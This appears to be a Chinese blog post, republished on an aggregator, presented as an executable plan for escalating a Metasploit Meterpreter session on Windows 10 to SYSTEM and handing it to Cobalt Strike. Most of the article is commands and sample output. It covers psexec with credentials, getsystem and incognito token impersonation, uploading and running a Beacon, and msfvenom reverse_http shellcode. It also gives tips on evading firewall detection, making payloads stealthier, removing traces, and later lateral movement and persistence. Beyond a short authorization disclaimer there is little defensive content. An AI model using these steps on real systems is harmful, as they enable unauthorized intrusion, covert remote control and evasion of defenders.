MSF上线到CS工具中 实战方案(可执行方案)

news2025/4/5 12:18:21

目录

实际案例背景

步骤详解

1. 获取低权限 Meterpreter 会话

1.1 使用 Metasploit 获取会话

2. 提权到 SYSTEM 权限

2.1 使用 getsystem 自动提权

2.2 如果 getsystem 失败:使用令牌冒充 (incognito 模块)

3. 上线到 Cobalt Strike

3.1 生成 Cobalt Strike Payload (Beacon)

3.2 在目标系统上执行 Beacon Payload

3.3 使用 Meterpreter 转发会话到 Cobalt Strike

4. 验证与稳定控制

5. 整体项目方案总结

前期准备

提权阶段

上线 Cobalt Strike

后续管理

注意事项


  • 描述如何使用 Metasploit(msf)提权目标主机到 SYSTEM 权限,并将提权后的会话迁移到 Cobalt Strike 工具中。

实际案例背景

  • 目标系统:Windows 10(存在已知的权限提升漏洞或可利用的令牌)
  • 初始情况:已通过 Metasploit 成功获取一个低权限的 Meterpreter 会话。
  • 目标
    • 提权到 SYSTEM 权限。
    • 将提权后的会话转移到 Cobalt Strike 中管理和控制。


步骤详解

1. 获取低权限 Meterpreter 会话

1.1 使用 Metasploit 获取会话
  1. 启动 Metasploit 控制台:
    msfconsole
    
  2. 使用一个合适的漏洞模块,例如 SMB 远程代码执行(假设已经有弱口令或凭证):
    use exploit/windows/smb/psexec
    
  3. 设置攻击参数:
    set RHOSTS <目标IP>
    set SMBUser <用户名>
    set SMBPass <密码>
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST <本地IP>
    set LPORT 4444
    
  4. 执行攻击:
    exploit
    
    成功后会得到一个低权限的 Meterpreter 会话,例如:
    [*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.150:49215)
    

2. 提权到 SYSTEM 权限

2.1 使用 getsystem 自动提权
  1. 切换到低权限会话:
    sessions -i 1
    
  2. 尝试自动提权:
    getsystem
    
  3. 可能的返回:
    [*] Got SYSTEM via technique 1.
    
  4. 验证提权结果:
    getuid
    
    如果返回:
    Server username: NT AUTHORITY\SYSTEM
    
    则说明提权成功。

2.2 如果 getsystem 失败:使用令牌冒充 (incognito 模块)
  1. 加载 incognito 扩展:
    load incognito
    
  2. 列出可用令牌:
    list_tokens -u
    
    可能看到:
    [*] Available tokens:
        NT AUTHORITY\SYSTEM
        DOMAIN\Administrator
    
  3. 冒充 SYSTEM 令牌:
    impersonate_token "NT AUTHORITY\\SYSTEM"
    
  4. 再次验证权限:
    getuid
    
    应返回 SYSTEM 权限。

3. 上线到 Cobalt Strike

3.1 生成 Cobalt Strike Payload (Beacon)
  • 在 Cobalt Strike 中生成 Payload(Beacon)。

  • Cobalt Strike Console -> Cobalt Strike 菜单 -> Attacks -> Packages -> Windows Executable (S)。

  • 选择 Payload 类型:windows/beacon_http/reverse_http 或其他你配置的类型。

  • 配置监听器、域名、端口等参数。
  • 导出为可执行文件 (EXE) 或 Shellcode (RAW/BIN)。
  • 将 Payload 上传到目标系统。 在 Meterpreter 会话中:

upload /home/hao/12.exe C:\\Windows\\Temp\\12.exe


3.2 在目标系统上执行 Beacon Payload
  • 在 Meterpreter 中,执行上传的 Beacon:
execute -f C:\\Windows\\Temp\\14.exe

  • Cobalt Strike 会自动捕获到 Beacon 会话(如果配置正确的话)。
    • 在 Cobalt Strike 中,导航到 View -> Beacons 查看上线的会话。
    • 若成功,则会在 Beacon 管理界面看到新上线的会话,权限应为 SYSTEM。


3.3 使用 Meterpreter 转发会话到 Cobalt Strike

如果无法直接执行 Beacon Payload,也可以使用 msfvenom 生成 Shellcode 并在 Cobalt Strike 中监听。步骤如下:

  • 生成 Raw Shellcode (Cobalt Strike 控制台):
    msfvenom -p windows/meterpreter/reverse_http LHOST=<Cobalt Strike 服务器IP> LPORT=80 -f raw > /tmp/cs_shellcode.raw
    

  • 上传并注入 Shellcode
    • 上传:

  • upload /tmp/cs_shellcode.raw C:\\Windows\\Temp\\cs_shellcode.raw
    
  • 注入:
    execute -f C:\\Windows\\Temp\\cs_shellcode.raw
    
  • Cobalt Strike 捕获会话
    • 同样在 View -> Beacons 中查看。

4. 验证与稳定控制

  1. 验证 SYSTEM 权限
    在 Cobalt Strike 的 Beacon 控制台中执行:

    shell whoami
    

    应返回:

    NT AUTHORITY\SYSTEM
    
  2. 保持会话稳定

    • 使用 Cobalt Strike 的 Sleep 功能,设置通信时间间隔,避免被防火墙检测。
    • 配置 HTTPS 或 DNS 通道,增加隐蔽性。
  3. 清理痕迹

    • 删除上传的 Payload 和临时文件:
      rm C:\\Windows\\Temp\\beacon.exe
      
    • 使用 Cobalt Strike 的 Artifact Kit 生成更隐蔽的 Payload。

5. 整体项目方案总结

前期准备
  • 确保 Metasploit 和 Cobalt Strike 配置正确。
  • 确保目标环境合法授权,并已获取初始的 Meterpreter 低权限会话。
提权阶段
  • 优先尝试 getsystem 提权,失败则用 incognito 进行令牌冒充。
  • 确保成功获得 SYSTEM 权限。
上线 Cobalt Strike
  • 生成 Beacon Payload 并通过 Meterpreter 执行上线。
  • 确保会话成功捕获,并能稳定通信。
后续管理
  • 使用 Cobalt Strike 的功能进行进一步横向移动、信息收集与持久化。
  • 合理使用 Sleep 和加密通信,避免被检测。

注意事项

  • 合法授权:所有步骤必须在目标系统所有者明确授权下进行。
  • 权限验证:每一步都要及时验证当前权限,避免操作失败。
  • 安全清理:完成后,及时清理所有上传的工具和脚本,避免留下痕迹。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2328571.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

IntelliJ IDEA 2020~2024 创建SpringBoot项目编辑报错: 程序包org.springframework.boot不存在

目录 前奏解决结尾 前奏 哈&#xff01;今天在处理我的SpringBoot项目时&#xff0c;突然遇到了一些让人摸不着头脑的错误提示&#xff1a; java: 程序包org.junit不存在 java: 程序包org.junit.runner不存在 java: 程序包org.springframework.boot.test.context不存在 java:…

基于DeepSeek、ChatGPT支持下的地质灾害风险评估、易发性分析、信息化建库及灾后重建

前言&#xff1a; 地质灾害是指全球地壳自然地质演化过程中&#xff0c;由于地球内动力、外动力或者人为地质动力作用下导致的自然地质和人类的自然灾害突发事件。在降水、地震等自然诱因的作用下&#xff0c;地质灾害在全球范围内频繁发生。我国不仅常见滑坡灾害&#xff0c;还…

Websoft9分享:在数字化转型中选择开源软件可能遇到的难题

引言&#xff1a;中小企业数字化转型的必由之路 全球94.57%的企业已采用开源软件&#xff08;数据来源&#xff1a;OpenLogic 2024报告)&#xff0c;开源生态估值达8.8万亿美元。中小企业通过开源软件构建EPR系统、企业官网、数据分析平台等&#xff0c;可节省80%软件采购成本。…

Windows修改hosts文件让向日癸软件联网

Windows修改hosts文件让向日癸软件联网 前言一、查看向日葵软件使用的网址及IP1.清除dns记录2.打开向日葵软件并将dns记录导出txt 二、修改Windows服务器的hosts文件1.winx选择Windows PowerShell(管理员)2.在Windows PowerShell中输入如下内容&#xff1a;3.在hosts文件最后添…

2021 CCF CSP-S2.括号序列

题目 4091. 括号序列 算法标签: 区间 d p dp dp 思路 区间 d p dp dp添加维表示形态 f [ i ] [ j ] [ k ] f[i][j][k] f[i][j][k], 对于每种形态考虑状态如何进行转移, 枚举的时候不能重复, 星号也要定义唯一的解析方式, 算法时间复杂度 O ( n 3 ) O(n ^ 3) O(n3) 代码 #…

Uni-app 项目 PDF 批注插件库在线版 API 示例教程

本文章介绍 Uni-app 项目中 PDF 批注插件库 ElasticPDF 在线版 API 示例教程&#xff0c;API 包含 ① 导出批注后PDF数据&#xff1b;② 导出纯批注 json 数据&#xff1b;③ 加载旧批注&#xff1b;④ 切换文档&#xff1b;⑤ 切换用户&#xff1b;⑥ 清空批注 等数据处理功能…

学透Spring Boot — 010. 单元测试和Spring Test

系列文章目录 这是CSDN postnull 博客《学透Spring Boot》系列的一篇&#xff0c;更多文章请移步&#xff1a;Postnull - 学透Spring Boot系列文章 文章目录 系列文章目录前言1. 基本概念UT 单元测试TDD 测试驱动开发UT测试框架Mock框架 3. Spring Test为什么要用Spring Test引…

TortoiseGit多账号切换配置

前言 之前配置好的都是&#xff0c;TortoiseGit与Gitee之间的提交&#xff0c;突然有需求要在GitHub上提交&#xff0c;于是在参考网上方案和TortoiseGit的帮助手册后&#xff0c;便有了此文。由于GitHub已经配置完成&#xff0c;所以下述以配置Gitee为例。因为之前是单账号使用…

3D 地图渲染-区域纹理图添加

引入-初始化地图&#xff08;关键代码&#xff09; // 初始化页面引入高德 webapi -- index.html 文件 <script src https://webapi.amap.com/maps?v2.0&key您申请的key值></script>// 添加地图容器 <div idcontainer ></div>// 地图初始化应该…

【Linux】条件变量封装类及环形队列的实现

&#x1f4e2;博客主页&#xff1a;https://blog.csdn.net/2301_779549673 &#x1f4e2;博客仓库&#xff1a;https://gitee.com/JohnKingW/linux_test/tree/master/lesson &#x1f4e2;欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1f4dd; 如有错误敬请指正&#xff01; &…

离线部署kubesphere(已有k8s和私有harbor的基础上)

前言说明&#xff1a;本文是在已有k8s集群和私有仓库harbor上进行离线安装kubesphere&#xff1b;官网的离线教程写都很详细&#xff0c;但是在部署部份把搭建集群和搭建仓库也写一起了&#xff0c;跟着做踩了点坑&#xff0c;这里就记录下来希望可以帮助到需要的xdm。 1.根据官…

非阻塞IO,fcntl,多路转接,select,poll,epoll,reactor

IO次数会影响程序的效率&#xff0c;在编程中往往会尽量减少IO次数&#xff0c;用以提高程序的效率&#xff0c;例如缓冲区,就是减少IO次数提高效率的一种方式&#xff1b;而IO影响效率的最大原因其实是因为IO等拷贝&#xff0c;在进行IO时往往需要拷贝的数据就绪&#xff0c;或…

Redis常用的数据结构及其使用场景

字符串(String) string 是 redis 最基本的类型&#xff0c;你可以理解成与 Memcached 一模一样的类型&#xff0c;一个 key 对应一个 value。 string 类型是二进制安全的。意思是 redis 的 string 可以包含任何数据&#xff0c;比如jpg图片或者序列化的对象。 string 类型是 R…

PhotoShop学习04

1.背景图层 最下面的被锁锁住的图层为背景图层&#xff0c;背景图层充当整个图层的背景&#xff0c;名字标注为背景&#xff0c;无法修改背景图层的排序始终位于图层最底部。 当我想把上方的图层移动到背景图层之后&#xff0c;发现无法移动图层无法移动&#xff0c;把背景图层…

服务器有2张显卡,在别的虚拟环境部署运行了Xinference,然后又建个虚拟环境再部署一个可以吗?

环境: 云服务器Ubuntu系统 2张 NVIDIA H20 96GB Qwen2.5-VL-72B-Instruct-AWQ Qint4量化 AWQ 是 “Activation - Aware Weight Quantization” 的缩写,即激活感知权重量化。它是一种针对大型模型的先进量化算法,通过在权重量化过程中引入对激活值的感知,最小化量化误差…

K8s中CPU和Memory的资源管理

资源类型 在 Kubernetes 中&#xff0c;Pod 作为最小的原子调度单位&#xff0c;所有跟调度和资源管理相关的属性都属于 Pod。其中最常用的资源就是 CPU 和 Memory。 CPU 资源 在 Kubernetes 中&#xff0c;一个 CPU 等于 1 个物理 CPU 核或者一个虚拟核&#xff0c;取决于节…

任务挂起和恢复

任务挂起和恢复API函数 下面用按键和震动传感器验证任务挂起和恢复API函数&#xff1a; PA7接震动传感器&#xff0c;按键引脚为PA0&#xff0c;提前初始化好GPIO引脚 key.c #include "key.h" #include "stm32f10x.h"void KeyInit() {GPIO_InitTypeDef …

【NLP 55、投机采样加速推理】

目录 一、投机采样 二、投机采样改进&#xff1a;美杜莎模型 流程 改进 三、Deepseek的投机采样 流程 Ⅰ、输入文本预处理 Ⅱ、引导模型预测 Ⅲ、候选集筛选&#xff08;可选&#xff09; Ⅳ、主模型验证 Ⅴ、生成输出与循环 骗你的&#xff0c;其实我在意透了 —— 25.4.4 一、…

如何在 Windows 上安装 Python

Python是一种高级编程语言&#xff0c;由于其简单性、多功能性和广泛的应用范围而变得越来越流行。如何在 Windows 操作系统中安装 Python 的过程相对简单&#xff0c;只需几个简单的步骤。 本文旨在指导您完成在 Windows 计算机上下载和安装 Python 的过程。 如何在 Windows…

selectdb修改表副本

如果想修改doris&#xff08;也就是selectdb数据库&#xff09;表的副本数需要首先确定是否分区表&#xff0c;当前没有数据字典得知哪个表是分区的&#xff0c;只能先show partitions看结果 首先&#xff0c;副本数不应该大于be节点数 其次&#xff0c;修改期间最好不要跑业务…